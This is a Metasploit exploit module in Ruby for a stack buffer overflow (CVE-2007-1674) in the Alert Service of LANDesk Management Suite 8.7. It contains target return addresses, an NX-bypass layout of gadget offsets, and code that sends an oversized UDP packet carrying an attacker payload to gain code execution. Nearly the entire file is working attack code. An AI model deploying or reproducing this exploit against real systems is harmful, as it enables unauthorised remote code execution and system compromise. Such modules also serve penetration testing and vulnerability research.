require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'LANDesk Management Suite 8.7 Alert Service Buffer Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow in LANDesk Management Suite 8.7. By sending
an overly long string to the Alert Service, a buffer is overwritten and arbitrary
code can be executed.
},
'Author' => 'MC',
'Version'=> '$Revision: 9262 $',
'References' =>
[
['CVE', '2007-1674'],
['OSVDB', '34964'],
['URL', 'http://www.tippingpoint.com/security/advisories/TSRT-07-04.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload'=>
{
'Space'=> 336,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets'=>
[
[ 'Alerting Proxy 2000/2003/XP', { 'Ret' => 0x00423554 } ],
[ 'Alerting Proxy 2003 SP1-2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xed } ],
[ 'Alerting Proxy XP SP2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xe4 } ],
],
'Privileged' => true,
'DefaultTarget'=> 0,
'DisclosureDate' => 'Apr 13 2007'))
register_options([Opt::RPORT(65535)], self.class)
end
def exploit
connect_udp
if (target.name =~ /NX/)
txt = Rex::Text.rand_text_alphanumeric(1024)
ib = target['IB']
txt[ 280, 4 ] = [ib + 0x1b46].pack('V')
txt[ 296, 4] = [0xed].pack('V')
txt[ 300, 4] = [ib + 0x1b43].pack('V')
txt[ 304, 4] = [0x7ffe0300 - 0xff0].pack('V')
txt[ 308, 4] = [ib + 0x5b4ea].pack('V')
txt[ 312, 4] = [ib + 0x106b1].pack('V')
txt[ 324, 4] = [ib + 0x2a28e].pack('V')
txt[ 332, 16] = [-1, 34, 0x0044ec84, 4].pack('VVVV')
txt[ 652, 4 ] = [ib + 0x23554].pack('V')
txt[ 684, payload.encoded.length ] = payload.encoded
else
txt = rand_text_alphanumeric(280) + [target.ret].pack('V') + payload.encoded
end
print_status("Trying target #{target.name}...")
udp_sock.put(txt)
handler(udp_sock)
disconnect_udp
end
end